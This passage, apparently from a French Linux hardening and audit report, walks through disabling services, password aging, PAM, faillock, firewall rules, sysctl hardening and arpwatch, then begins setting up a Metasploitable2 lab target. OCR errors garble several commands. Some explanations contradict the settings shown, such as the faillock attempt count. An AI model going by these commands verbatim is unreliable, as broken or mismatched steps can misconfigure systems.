H # sudo systemctl disable --now cups.service cups-browsed.service ==
Synchronlzlng state of cups.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install disable cups
Synchronizing state of cups-browsed.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install disable cups-browsed

Removed /[etc/systemd/system/multi-user.target.wants/cups-browsed.service.
Removed /etc/systemd/system/multi-user.target.wants/cups.path.
Removed /[etc/systemd/system/printer.target.wants/cups.service.
Removed /etc/systemd/system/sockets.target.wants/cups.socket.
3 i

+ Service Anacron (Utile pour les taches planifiées sur les PC allumés

occasionnellement)

Si le PC est souvent allumé et que tu utilises cron, on peut le désactiver par la commande

suivante :

# sudo systemctl disable --now anacron.service

3 # sudo systemctl disable --now anacron.service e
Synchronlztng state of anmacron.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install disable anacron
Removed /etc/systemd/system/multi-user.target.wants/anacron.service.
Warning: Stopping anacron.service, but it can still be activated by:
anacron. timer

i
+ Avahi (Service de découverte réseau, utile pour AirPrint, Chromecast, etc.)

Si on n’utilise pas d'appareils connectés localement via Avahi (bonjour, AirPrint, etc.),

désactivons-le par cette commande :

# sudo systemctl disable --now avahi-daemon.service

# sudo systemctl disable --now avahi-daemon.service
Synchronlztng state of avahi-daemon.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install disable avahi-daemon
Removed /etc/systemd/system/multi-user.target.wants/avahi-daemon.service.

Removed /etc/systemd/system/dbus-org.freedesktop.Avahi.service.

Removed /etc/systemd/system/sockets.target.wants/avahi-daemon.socket.

Warning: Stopping avahi-daemon.service, but it can still be activated by:
avahi-daemon.socket

#

+ ModemManager (Utile pour les clés 3G/4G, mais inutile en Wi-Fi/ethernet)
Si on n’utilise pas de modem USB ou de clé 3G/4G, désactivons-le :

# sudo systemctl disable --now ModemManager.service
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2 # sudo systemctl disable --now ModemManager.service s
Removed /etc/systemd/system/dbus org.freedesktop.ModemManageri.service.

Removed /etc/systemd/system/multi-user.target.wants/ModemManager.service.
g #

Répétons ces procédures pour chaque service que nous souhaitons désactiver.
+ Application et vérification des changements
Apres avoir désactive les services inutiles, exécute la commande suivante :

# systemctl list-unit-files --state=enabled

H # systemctl list-unit-files --state=enabled =
UNIT FTLE STATE VENDOR PRESET
snap-bare-5.mount
snap-core20-2434.mount
snap-core20-2496.mount
snap-gnome\x2d3\x2d38\x2d2004-119.mount
snap-gnome\x2d3\x2d38\x2d2004-143.mount
snap-gtk\x2dcommon\x2dthemes-1535.mount
snap-snap\x2dstore-638.mount
snap-snapd-18357.mount
snap-snapd-23545.mount
acpid.path
apport-autoreport.path
accounts-daemon.service
apparmor.service
autovt@.service
console-setup.service

+ Vérification de I'impact
Apres avoir désactivé des services, redémarrons notre systéeme et vérifions que toutes les

fonctionnalités dont nous avons besoin restent opérationnelles.

7 # reboot [Je=

On peut également vérifier la liste des services en cours d'exécution avec :

# systemctl list-units --type=service --state=running

# systemctl list-units --type=service --state=running e
LOAD ACTIVE SUB DESCRIPTION

accounts-daemon.service loaded active running Accounts Service
acpid.service loaded active running ACPI event daemon
avahi-daemon.service loaded active running Avahi mDNS/DNS-SD Stack
colord.service loaded active running Manage, Install and Generate Color Profiles
cron.service loaded active running Regular background program processing daemon
cups-browsed.service loaded active running Make remote CUPS printers available locally
cups.service loaded active running CUPS Scheduler
dbus.service loaded active running D-Bus System Message Bus
fail2ban.service loaded active running Fail2Ban Service
gdm.service loaded active running GNOME Display Manager
irgbalance.service loaded active running irgbalance daemon
kerneloops.service loaded active running Tool to automatically collect and submit kernel crash signatures
ModemManager .service loaded active running Modem Manager
networkd-dispatcher.service loaded active running Dispatcher daemon for systemd-networkd
NetworkManager.service loaded active running Network Manager
polkit.service loaded active running Authorization Manager
rsyslog.service loaded active running System Logging Service
rtkit-daemon.service loaded active running RealtimeKit Scheduling Policy Service
snapd.service loaded active running Snap Daemon
switcheroo-control.service loaded active running Switcheroo Control Proxy service
systemd- journald.service loaded active running Journal Service
systemd-logind.service loaded active running Login Service
systemd-resolved.service loaded active running Network Name Resolutlon
systemd-timesyncd.service loaded active
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Précautions

o Analyse préalable : Assurez-vous que le service a désactiver n'est pas requis pour
d'autres fonctionnalités ou applications.

o Sauvegarde : Notez les services désactives afin de pouvoir les réactiver en cas de besoin
(utilisez sudo systemctl enable nom_du_service pour réactiver).

o Documentation : Consultez la documentation de chaque service pour comprendre son
réle par la commande (systemctl status nom_du_service et systemctl cat
nom_du_service), Cela nous permettra de comprendre la fonction de chaque service et

d’identifier ceux qui peuvent étre désactivés sans impacter le fonctionnement géneral.
Avant de désactiver un service, posez-vous ces questions :

= Est-ce que j’utilise cette fonctionnalité ?
Par exemple, si vous n’utilisez pas Snap ou les applications fournies par Snap, vous
pouvez envisager de désactiver les services et montages liés a Snap.

= Est-ce un service critique ?

Certains services (comme NetworkManager.service ou cron.service) sont souvent essentiels
au fonctionnement de votre systéme, alors qu’un service comme bluetooth.service peut étre

désactivé si vous n’utilisez pas de périphériques Bluetooth.
= Dépendances

Assurez-vous qu’un service n’est pas requis par une autre application ou service avant de le

désactiver.

Nous pouvons aussi inspecter le contenu des répertoires suivants

# Is /etc/systemd/system/*.wants/

a # ls [etc/systemd/system/*.wants/ «ww>
Jetc/systemd/system/cloud-final.service.wants/:

Jetc/systemd/system/default.target.wants/:

Jetc/systemd/system/display-manager.service.wants/:

Jetc/systemd/system/emergency.target.wants/:
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+ Politique de gestion des mots de passe
4+ Activation de vieillissement des mots de passe

e User password aging (minimum et maximum) [DESACTIVE]

Pour forcer les utilisateurs a changer régulierement leur mot de passe et limiter la durée

d’utilisation d’un mot de passe, il est recommandé d’activer ces contrdles.

Le fichier /etc/login.defs définit les parameétres globaux pour la gestion des comptes et des

mots de passe. Ouvrons le fichier avec un éditeur de texte (exemple : nano)

# nano /etc/login.defs

: # nano /etc/login.defs emm
: s

root@sergio: fhome/sergio

GNU nano 4.8 /etc/login.defs

PASS_MAX_DAYS
PASS_MIN_DAYS
PASS_WARN_AGE

Modifions les lignes suivantes :

root@sergio: fhome/sergio root@sergio: fhome/sergio

GNU nano 4.8 /etc/login.defs

PASS_MAX_DAYS 90 # Nombre maximal de jours avant expiration du mot de passe (ex: 90 jours recommandé)
PASS_MIN_DAYS 7 # Nombre de jours minimum entre deux changements de mot de passe
PASS WARN_AGE 7 # Nombre de jours avant expiration ol 1’utilisateur recevra un avertissement

On enregistre et puis on quitte avec nano : CTRL + X, puis Y, puis ENTER.

Note : Ne laissez pas PASS_MAX DAYS a 99999 car cela signifie que les mots de passe
n’expireront jamais, ce qui peut poser un probléme de sécurité. Il est recommandé de définir

une durée raisonnable (ex: 90 jours).
4+ Application des parametres aux utilisateurs existants

Le fichier /etc/login.defs ne s’applique qu’aux nouveaux comptes. Pour modifier les

utilisateurs existants, utilisant la commande chage :
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+ Vérification des paramétres d'un utilisateur spécifique

# sudo chage -l sergio

: # sudo chage -1 sergio ===
Dernier changement de mot de passe : fee 01, 2025
Fin de validité du mot de passe : jamatis
Mot de passe désactivé : jamais

Fin de validité du compte : jamais

Nombre minimum de jours entre les changements de mot de passe : 0

Nombre maximum de jours entre les changements de mot de passe : 99999

Nombre de Jours d'avertissement avant la fin de validité du mot de passe 7
#

Appliquons la nouvelle regle par la commande suivante :
# sudo chage -M 90 -m 7 -W 7 sergio

# sudo chage -M 90 -m 7 -W 7 sergio e

#

Explication :
= -M 90 — définit PASS_MAX_DAYS a 90 jours.
= -m7 — définit PASS_MIN_DAYS a 7 jours.
= -W 7 — définit PASS_WARN_AGE a7 jours.

Pour appliquer la politique de mot de passe uniquement aux utilisateurs normaux, utilisons
cette commande :

# for user in $(awk -F: '$3 >= 1000 {print $1}' /etc/passwd); do
sudo chage -M 90 -m 7 -W 7 "$user"

done

> sudo chage -M 90 -m 7 -W 7 "Suser"
> done

# for user in $(awk -F: '$3 >= 1000 {print $1}' /etc/passwd); do:]

Explication :
e awk -F: '$3 >=1000 {print $1}' /etc/passwd : Liste uniquement les utilisateurs ayant

un UID > 1000 (généralement les utilisateurs normaux).
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+ Teste de la configuration

Apres modification, vous pouvez vérifier si les changements ont bien été pris en compte

avec .

# sudo chage -l sergio

3 # sudo chage -1 sergio
Dernier changement de mot de passe : fee 01, 2025
Fin de validité du mot de passe : me 02, 2025
Mot de passe désactivé : jamais
Fin de validité du compte : jamais

Nombre minimum de jours entre les changements de mot de passe 57
Nombre maximum de jours entre les changements de mot de passe : 90
Nombre de jours d'avertissement avant la fin de validité du mot de passe

B #

+ Application immédiatement aux sessions actives

Sinous voulons forcer immédiatement les utilisateurs a changer leur mot de passe (par exemple,

apres avoir appliqué une nouvelle politique) : sudo passwd -e utilisateur
# sudo passwd -e sergio

: # sudo passwd -e sergio emss
passwd : expiration du mot de passe modifiée.
: #

Vérification avec la commande suivante :

# sudo chage -l sergio

8 # sudo chage -1 sergio ™=
Dernier changement de mot de passe : Le mot de passe doit étre changé
Fin de validité du mot de passe : Le mot de passe doit étre changé
Mot de passe désactivé : Le mot de passe doit étre changé
Fin de validité du compte : jamais
Nombre minimum de jours entre les changements de mot de passe 8 7
Nombre maximum de jours entre les changements de mot de passe : 90
Nombre de jours d'avertissement avant la fin de validité du mot de passe
8 #

Cela forcera I'utilisateur a changer son mot de passe lors de sa prochaine connexion.

:~$ sudo su ===
[sudo] Mot de passe de sergio :
sudo: Le compte ou le mot de passe a expiré, réinitialisez votre mot de passe puis réessayez de vous connecter
Changement du mot de passe pour sergio.

Mot de passe actuel :
Nouveau mot de passe :

Pour annuler I’effet de forcer 1’utilisateur a changer son mot de passe lors de sa prochaine

connexion, on exécute la commande suivante :
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# sudo chage -d $(date +%Y-%m-%(d) sergio

# sudo chage -d $(date +%Y-%m-%d) sergio e

#

Cela définit la date de dernier changement de mot de passe a aujourd’hui, empéchant ainsi

I’obligation immédiate de changement.

s # sudo chage -1 sergio e
Dernier changement de mot de passe : fee 28, 2025
Fin de validité du mot de passe : me 29, 2025
Mot de passe désactivé : jamatis
Fin de validité du compte : jamais
Nombre minimum de jours entre les changements de mot de passe 5T
Nombre maximum de jours entre les changements de mot de passe : 90
Nombre de jours d'avertissement avant la fin de validité du mot de passe

2 #

+ Vérification d’authentification en mode "single user"

Actuellement, I'authentification en mode utilisateur unique (single user mode) est signalée
comme ATTENTION, ce qui signifie qu'un attaquant pourrait accéder a la machine sans mot

de passe.

Assurons-nous que la ligne de root ne contient pas * ou ! dans le champ du mot de passe.

Vérifions que root doit entrer un mot de passe en éditons le fichier suivant:

# sudo nano /etc/shadow

# sudo nano /etc/shadow «s
#

root@sergio: fhome/sergio

GNU nano 4.8 Jetc/shadow

sync:*:1943
games:*:194

uucp:*:1943
proxy:*:194

irc:*:19432:7:
gnats:*:19432:
nobody:*:19432
systemd-network:*:19

systemd-resolve:*:1943
systemd-timesync:*:194
messagebus:*:19432:7:9
syslog:*:19432:7:9

_apt:*:19432:7:90:7:::

Le ! dans le champ du mot de passe signifie que I'accés avec un mot de passe est désactivé

pour root.

Vérifions si root doit entrer un mot de passe en faisant tester la connexion root avec un mot
de passe par cette commande :
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e Si un mot de passe est demandé et accepté, root a un mot de passe défini.
e Sivous obtenez une erreur, root n'a pas de mot de passe actif.

$SU-—

Mot de passe

su: Echec de 1’authentification

$

Vérifions ensuite si root est verrouillé par la commande suivante :

e Silasortie est root L, cela signifie que root est verrouillé.

e Silasortie est root P, cela signifie que root a un mot de passe actif.

$ sudo passwd -S root

S sudo passwd -S root e
[sudo] Mot de passe de sergio :

root L 12/19/2024 7 90 7 -1

+ Option de sécurité : Désactiver I'accés direct a root

Si vous souhaitez garder le compte root désactivé (ce qui est recommandé pour la sécurité),
mais permettre aux administrateurs d'utiliser sudo, vous pouvez laisser le ! et gérer les privileges

via le groupe sudo.
Pour Vérifier les utilisateurs ayant accés a sudo, on exécute la commande suivante :

$ getent group sudo

S getent group sudo esss

sudo:x:27:aboubecrine,sergio

+ Configuration de la gestion des permissions sudoers

La présence d'un fichier sudoers est confirmée, mais vous devez restreindre son acces pour

éviter les modifications non autorisées.

Vérifions les permissions du fichier sudoers par commande suivante :
# s -1 /etc/sudoers

# 1ls -1 /etc/sudoers cmm

1 root root 755 fee 3 2020 /etc/sudoers
#

Si les permissions sont incorrectes, corrigeons-les ainsi :
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# sudo chmod 440 /etc/sudoers

2 # sudo chmod 440 /etc/sudoersess
g #

+ Activer un controle de force des mots de passe via PAM

Actuellement, la vérification de la force des mots de passe est une "SUGGESTION", il est

recommandé d'activer pam_pwquality.

Editons le fichier PAM de mot de passe par commande suivante pour Ajoutez/modifiez ces lignes
# sudo nano /etc/security/pwquality.conf

# sudo nano [etc/security/pwquality.conf emm
#

root@sergio: /home/sergio sergio@sergio: ~

GNU nano 4.8 Jetc/security/pwquality.conf

minlen = 12
dcredit -
ucredit
lcredit
ocredit

W inonon

retry =

Explication :
o minlen =12 — Mot de passe d'au moins 12 caractéres.
o dcredit, ucredit, Icredit, ocredit = -1 — Doit contenir au moins 1 chiffre, 1
majuscule, 1 minuscule et 1 caractére spécial.

o retry =3 — L'utilisateur peut réessayer 3 fois avant un échec

Appliguons immédiatement les modifications apportés pas la commande suivante :

# sudo systemctl restart systemd-logind

: # sudo systemctl restart systemd-logind ==

Activer umask pour renforcer les permissions par défaut

Actuellement, I'umask n'est pas défini dans /etc/profile, ce qui signifie que les fichiers créés

peuvent avoir des permissions trop ouvertes. Définissons un umask sécurisé comme suite :

# sudo nano /etc/profile

# sudo nano /etc/profile e

#

Ajoutez cette ligne si elle n'existe pas : umask 027
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root@sergio: /home/sergio

GNU nano 4.8 /etc/profile
"\h:\w\$ '
/etc/bash.bashrc
. J/etc/bash.bashrc

wsqdl —us " o
Ps1="# '

Ps1-'5 !

Jetc/profile.d
i /etc/profile.d/*.sh

Définir UMASK 027 dans /etc/login.defs aussi en ajoutons/modifions ceci

# sudo nano /etc/login.defs

# sudo nano /etc/login.defs e
#

GNU nano 4.8 etc/login.defs

UMASK 027

Explication :

e 027 signifie fichiers accessibles uniquement par le propriétaire et le groupe.
Appliquer immédiatement :
# source /etc/profile

: # source [etc/profile ===

root@sergio: /home/sergio#
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4+ Vérification des tentatives de connexion infructueuses

Notre systéme enregistre déja les échecs de connexion, mais il peut étre utile de les limiter et

de bloquer les IP suspectes.

Activons le faillock pour bannir aprés plusieurs échecs :
Ajoutez/modifiez les lignes suivantes :
= deny=5

= unlock_time =900

# sudo nano /etc/security/faillock.conf

# sudo nano /etc/security/faillock.conf e
#

root@sergio: /home/sergio

GNU nano 4.8 Jetc/security/faillock.conf

deny = 3
unlock_time = 900

Explication :
e deny =3 — Bloque un utilisateur apres 5 tentatives échouées.

e unlock_time = 900 — Débloque aprés 15 minute
Appliquer immeédiatement par la commande suivante :

e # sudo systemctl restart systemd-logindl] &=

+ Vérification et Activation de Pare-feu UFW (Ubuntu/Debian)
Vérifions d’abord si UFW est installé car sur Ubuntu/Debian, UFW (Uncomplicated

Firewall) est souvent utilisé comme interface simplifiée pour iptables.

# sudo ufw status verbose

: # sudo ufw status verbose wmy,

Etat : inactif
: #

Si ce n'est pas installé, installez-le par commande suivante :
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# sudo apt update && sudo apt install ufw -y

~ # sudo apt update && sudo apt install ufw -y s
1 http://security.ubuntu.com/ubuntu focal-security InRelease

2 http://sn.archive.ubuntu.com/ubuntu focal InRelease
:3 http://sn.archive.ubuntu.com/ubuntu focal-updates InRelease
4 https://aquasecurity.github.io/trivy-repo/deb focal InRelease

Activons le pare-feu avec une politique stricte par défaut par commande suivante :
# sudo ufw default deny incoming

# sudo ufw default allow outgoing

: # sudo ufw default deny incoming o=
La strategle par défaut pour le sens « incoming » a été remplacée par « deny »
(veillez a mettre a jour vos régles en conséquence)
# sudo ufw default allow outgoing s
La strategle par défaut pour le sens « outgoing » a été remplacée par « allow »
(veillez a mettre a jour vos régles en conséguence)
: #

Note : Cela blogue toutes les connexions entrantes et autorise toutes les connexions sortantes

par défaut.
On active ensuite le pare-feu par commande suivante :
# sudo ufw enable

: # sudo ufw enable ™=
Le pare-feu est actif et lancé au démarrage du systéme
#

Verification d’activation

# sudo ufw status verbose

: # sudo ufw status verbose essss

Etat : actif

Journalisation : on (low)

Par défaut : deny (incoming), allow (outgoing), disabled (routed)
Nouveaux profils : skip

Vers Action De

5000 ALLOW IN Anywhere
5000 (vé6) ALLOW IN Anywhere (v6)

Page 38 sur 86



+ Blocage des ports NetBlOS/Samba si inutiles
# sudo iptables -A INPUT -p udp --dport 137 -j DROP
# sudo iptables -A INPUT -p udp --dport 138 -j DROP
# sudo iptables -A INPUT -p tcp --dport 139 -j DROP
# sudo iptables -A INPUT -p tcp --dport 445 - DROP

# sudo iptables -A INPUT - --dport 137 -
# sudo iptables -A INPUT - --dport 138 -

# sudo iptables -A INPUT - --dport 139 -
# sudo iptables -A INPUT - --dport 445 -
#

+ Limiter les connexions SSH pour éviter les attaques bruteforce
# sudo iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --set

sudo iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --update --seconds
60 --hitcount 4 -j DROP

# sudo iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --set "=
# sudo iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --update --seconds 60 --hitcount 4 -j DROP emme

#

Note : Cela bloque une adresse IP si elle tente plus de 4 connexions SSH en moins de 60
secondes

+ Bloquer le ping (ICMP) pour éviter la reconnaissance réseau

# sudo iptables -A INPUT -p icmp -j DROP

# sudo iptables -A INPUT -p icmp -j DROP ==

#

Note : Bloque le ping (ping your-server ne repondra plus).
+ Restreindre les connexions sortantes a I’essentiel
# sudo iptables -P OUTPUT DROP
# sudo iptables -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
# sudo iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT
# sudo iptables -A OUTPUT -p tcp --dport 443 -] ACCEPT
# sudo iptables -A OUTPUT -p udp --dport 53 -j ACCEPT

# sudo iptables -P OUTPUT DROP
# sudo iptables -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
# sudo iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT # HTTP

# sudo iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT # HTTPS
# sudo iptables -A OUTPUT -p udp --dport 53 -j ACCEPT # DNS
#

Note : Empéche tout trafic sortant sauf les connexions essentielles (HTTP, HTTPS, DNS).
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+ Sauvegarder les régles pour qu’elles persistent aprés redémarrage

: # sudo ufw enable ===
Le pare-feu est actif et lancé au démarrage du systéeme

: # sudo ufw reload ey,
Pare-feu rechargé
: #

Avec ces regles, votre systéme sera mieux protége contre :

= Les scans réseau (ping, reconnaissance)
= Les attaques bruteforce SSH

= | es connexions sortantes non autorisées

= Les ports NetBIOS inutiles exposés

Nous pouvons Vérifier que les regles sont bien appliquées avec :

# sudo iptables -L -v -n

te NEW recent: H
te NEW recent: UPDATE sec

% Sécuriser les services d'impression (CUPS, LP)

D'aprés notre rapport, les services d'impression (CUPS et LP) ne sont pas trouvés ou lancés.
Si on n’utilise pas d’imprimante, il est préférable de désinstaller ces services pour réduire la

surface d’attaque.
# sudo apt remove --purge cups cups-bsd cups-client cups-common

: # sudo apt remove --purge cups cups-bsd cups-client cups-common ess
Lecture des listes de paquets... Fait

Construction de 1'arbre des dépendances
Lecture des informations d'état... Fait
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# sudo apt remove --purge lpr lprng

# sudo apt remove --purge lpr lprng esss
Lecture des llstes de paquets... Fait

Construction de 1'arbre des dépendances
Lecture des informations d'état... Fait
Le paquet « 1lpr » n'est pas installé, et ne peut donc étre supprimé

# sudo systemctl disable cups

# sudo systemctl stop cups

B # sudo systemctl disable cups ==
Synchronizing state of cups.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install disable cups

3 #

# sudo systemctl stop cups s
#

+ Activer la protection SSH

# sudo nano /etc/fail2ban/jail.local

# sudo nano /etc/failZban/jail.local ===
#

root@sergio: fhome/sergio

GNU nano 4.8 Jetc/fail2ban/jail.local

enabled = true

port = 2222

filter = sshd

logpath = /var/log/auth.log
maxretry = 3

bantime = 600

Et commenter cette section.

roct@serglo: fhome/sergio

GNU nano 4.8 /etc/failzZban/jail.local

port = ssh
logpath %(dropbear_log)s
backend %(dropbear_backend)s
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Applique les changements :

# sudo systemctl restart fail2ban

: # sudo systemctl restart fail2ban cess
: #

Désactivation IPv6
e Statut : ACTIVE et Configuration automatique (AUTO).
e Recommandation : Si on n’utilise pas IPv6, nous pouvons le désactiver pour
renforcer la sécurité. Si nous 1’utilisons, assurons-nous que les regles de pare-feu sont

bien configurées pour securiser I'IPv6.

Désactivation d'IPv6 : Pour désactiver IPv6, ajoutons les lignes suivantes dans

[etc/sysctl.conf.

net.ipv6.conf.all.disable ipv6 =

net.ipv6.conf.default.disable ipv6 = 1
net.ipv6.conf.lo.disable ipv6 =

# nano /etc/sysctl.conf

# nano /etc/sysctl.conf o=
#

root@sergio: /home/sergio

GNU nano 4.8 Jetc/sysctl.conf

fs.suid_dumpable = 0
kernel.core uses pid = 1
kernel.dmesg_restrict = 1
kernel.kptr_restrict = 2
kernel.sysrq = 0

.ipvé4.conf.all.forwarding = 0
.ipv4.conf.all.log_martians = 1
.ipv4.conf.all.rp_filter = 1
.ipv4.conf.all.send_redirects = 0
.ipv4.conf.default.accept_redirects = 0
.ipv4.conf.default.accept_source_route = 0
.ipv4.conf.default.log_martians = 1

.ipv6.conf.all.accept_redirects = 0
.ipv6.conf.default.accept_redirects = 0

.ipv6.conf.all.disable_ipv6 = 1
.ipv6.conf.default.disable_ipv6 = 1

.ipv6.conf.lo.disable ipvé = 1

Puis appliquez les changements par la commande suivante :
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# sudo sysctl -p

: # sudo sysctl -p e
fs.suid_dumpable = @
kernel.core_uses_pid = 1
kernel.dmesg_restrict = 1
kernel.kptr_restrict = 2
kernel.sysrqg = 0
net.ipv4.conf.all.forwarding = @
net.ipv4.conf.all.log martians = 1
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv4.conf.default.accept_source_route = @
net.ipv4.conf.default.log_martians = 1
net.ipv6.conf.all.accept_redirects = 0
net.ipv6.conf.default.accept_redirects = 0
net.ipv6.conf.all.disable_ipv6 = 1
net.ipv6.conf.default.disable_ipv6 = 1
net.ipv6.conf.lo.disable_ipve = 1

3 #

+ Vérification des serveurs DNS

= Statut: 127.0.0.53 [ NO RESPONSE ] et Min. 2 serveurs DNS répondants [
ATTENTION ].

= Recommandation : Cela signifie que le résolveur DNS local (127.0.0.53) ne répond
pas. Vous devez vous assurer que vos serveurs DNS sont bien configurés. Il est aussi
recommandé d'utiliser des serveurs DNS fiables comme ceux de Google (8.8.8.8,
8.8.4.4) ou Cloudflare (1.1.1.1, 1.0.0.1).

+ Configuration des serveurs DNS

Vérifions notre fichier /etc/resolv.conf pour nous assurer que les serveurs DNS sont bien

configurés
Exemple de configuration pour utiliser les DNS de Google
# sudo nano /etc/resolv.conf

# sudo nano /etc/resolv.conf e
#

root@sergio: /home/sergio

GNU nano 4.8 Jetc/resolv.conf

nameserver 8
nameserver 8
search home
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+ Vérification du logiciel de surveillance ARP

= Statut : NON TROUVE.

= Recommandation : L'utilisation d'un logiciel de surveillance ARP (comme arpwatch)
est utile pour détecter les attaques ARP spoofing (usurpation d'adresse MAC). 1l peut
étre utile d'installer et de configurer arpwatch pour surveiller les changements d'ARP.

+ Installation d'arpwatch

On installe I’outil par la commande suivante :

# sudo apt-get install arpwatch

- # sudo apt-get install arpwatch
Lecture des listes de paquets... Fait

Construction de 1'arbre des dépendances
Lecture des informations d'état... Fait

# sudo systemctl enable arpwatch
# sudo systemctl start arpwatch

: # sudo systemctl enable arpwatch ===
Synchronizing state of arpwatch.service with SysV service script with /lib/systemd/systemd-sysv-1i
Executing: /lib/systemd/systemd-sysv-install enable arpwatch

3 #

# sudo systemctl start arpwatch e
#

Editons le fichier de configuration

# sudo nano /etc/sysctl.conf

# sudo nano /etc/sysctl.conf s==
#

Ajoutons ensuite les lignes suivantes en bas du fichier.

# Renforcement du noyau Linux

fs.suid dumpable = ©
kernel.core uses pid
kernel.dmesg restrict =
kernel.kptr restrict =
kernel.sysrq =

net.ipv4.conf.all.forwarding =
net.ipv4.conf.all.log martians =
net.ipv4.conf.all.rp_filter =1
net.ipv4.conf.all.send _redirects = ©
net.ipv4.conf.default.accept redirects =
net.ipv4.conf.default.accept _source route
net.ipv4.conf.default.log martians = 1
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net.ipv6.conf.all.accept _redirects = 0
net.ipv6.conf.default.accept redirects

m root@serg! glo (=3 o @

GNU nano 4.8 etc/sysctl.conf Modifié

fs.suid_dumpable = 0
kernel.core_uses_pid = 1
kernel.dmesg_restrict = 1
kernel.kptr_restrict = 2
kernel.sysrq = 0

net.ipv4.conf.all.forwarding = 0@
net.ipv4.conf.all.log_martians = 1
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv4.conf.default.accept_source_route = 0
net.ipv4.conf.default.log_martians = 1

net.ipv6.conf.all.accept_redirects = 0
net.ipv6.conf.default.accept_redirects = 0

Appliquons les modifications immédiatement par la commande suivante :

# sudo sysctl -p

3 # sudo sysctl -p e
fs.suid dumpable = 0
kernel.core_uses_pid = 1
kernel.dmesg restrict = 1
kernel.kptr_restrict = 2
kernel.sysrq = 0
net.ipv4.conf.all.forwarding = 0@
net.ipv4.conf.all.log _martians = 1
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.all.send_redirects = 0@
net.ipv4.conf.default.accept_redirects = 0
net.ipv4.conf.default.accept_source_route
net.ipv4.conf.default.log_martians = 1
net.ipv6.conf.all.accept_redirects = 0
net.ipv6.conf.default.accept redirects =

g #*

On verifier les changements appliqués par la commande suivante :

# sudo sysctl -a | grep -E
"fs.suid_dumpable|kernel.core_uses_pid|kernel.dmesg_restrict|kernel.kptr_restrictlkernel.sysr
g|net.ipv4.conf.all.forwarding|net.ipv4.conf.all.log_martians|net.ipv4.conf.all.rp_filter|net.ipv
4.conf.all.send_redirects|net.ipv4.conf.default.accept_redirects|net.ipv4.conf.default.accept_so
urce_route|net.ipv4.conf.default.log_martians|net.ipv6.conf.all.accept_redirects|net.ipv6.conf.
default.accept_redirects"
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: # sudo sysctl -a | grep -E "fs.suid_dumpable|kernel.core_uses_pid|kernel.dmesg_restrict|kernel.kpt
r restrlctlkernel sysrq|net.ipv4.conf.all.forwarding|net.ipv4.conf.all.log_martians|net.ipv4.conf.all.rp_filter|net.ipv4.c
onf.all.send_redirects|net.ipv4.conf.default.accept_redirects|net.ipv4.conf.default.accept_source_route|net.ipv4.conf.defa
ult.log_martians|net.ipv6.conf.all.accept_redirects|net.ipv6.conf.default.accept_redirects" e

=0

Note : Ces changements renforcent la protection contre les attaques (exécution de code

arbitraire, fuite d’informations systeme, attaques réseau, etc.

I11.2. Architecture réseau pour ’audit

111.2.1 Machine cible : Metasploitable2 (audité)
111.2.2 Installation de Metasploitable2

Lien de Teléchargement : https://www.vulnhub.com/

Sur le site, on fera un recherche comme suite et choisir notre machine vulnérable.

MACHINES m—— I
VIRTUELLES =

RESULTAT DE RECHERCHE : METASPLOITABLE (3 RESULTATS)

g e,
Apres Téléchargement, on décompresse le fichier.
. o
Nom : [Metasploitablez @l < |
Folder: I EnMNouveau dossierhietasploitable2-Linux a ~ I
‘ Type - | BSD '3 , E

Subtype: |FreeBsSD =
version : | FreeBSD (64-bit) =
Skip 1

Alde Précédent Finish Annuler
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Dans Virtual box, on suit les procédures comme nous indique les numéros suivants.

NS Crée une machine virtuelle

\
0
X

@ Create a Virtual Hard Disk Now

Hard Disk File Location and Size

[EnNouveau dossier\Metasploitable2-Linux\Metasploitable2\Metasploitable2.vdi <| =
sy 16,00 Gio
4,00 MB 2,00 Tio

Hard Disk File Type and Variant

|VDI (VirtualBox Disk Image) ~ | [] Pre-allocate Full Size

Split Into 2GB Parts

4 ) Use an Existing Virtual Hard Disk File
ubuntu20.vdi (Normal, 100,00 Gio)

O Do Not Add a Virtual Hard Disk

Précédent Finish | | Annuler

On coche la case ci-haut puis on choisit notre Disk de la machine.

@ Use an Existing Virtual Hard Disk File ¢

%) 3

Metasploitable.ymdk (Normal, 8,00 Gio) v|

() Do Not Add a Virtual Hard Disk

Choisissez un fichier de disque dur virtue
Y3 Choisi fichi : : %
1T « Mouveau dossier » Metasploitable2-Linux ~ {0 | Rechercher dans : Metasploita.. @
Organiser Nouveau dossier = ~ [ o
@ OneDrive - Person ~ MNom Modifie le Type Taille
W CepC ° Metasploitable i 21/05/2012 00:46 Virtual Machine Di... 1900 8t
I Bureau
Documents
=] Images
J’ Musigue
_J Objets 3D

lr Téléchargement:
B videos

% . Disque local (C)
= Mouveau nom (C

_  Nouwveaunom (FY < g

Mom du fichier : | Metasploitable v| |Tous les fichiers de disgue dur v V|

& | Ouvrir | ‘ Annuler ‘
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(== 5 (e
Sy | clwes

o Taille virtueile
—  Attached
SNS3 VR -CiSk0o 1 i
GMNS3 W - diskOO2 vl
Karm_ihAS i
Frojetocdi

19.53 Gio
aBss,28 Gio
80,00 Giao
50,00 Gio
40,00 Gio
150,97 Gio

SRV -ISKOO2 wal
e

— Mot Attached
MMetasploitable vindi
IPRSE IV

8,00 Sio
50,00 Gio

Search By MName

.22 Gio
286,00 MB
13,53 Sia
Zz.58 Gio
30.31 Gio
72,40 Sio

1.79 Sio
2,00 MEB

Nous allons cliquer comme en (1) puis en (2)

s

\Nouveau doss

1,00 MB

ier\Metasp

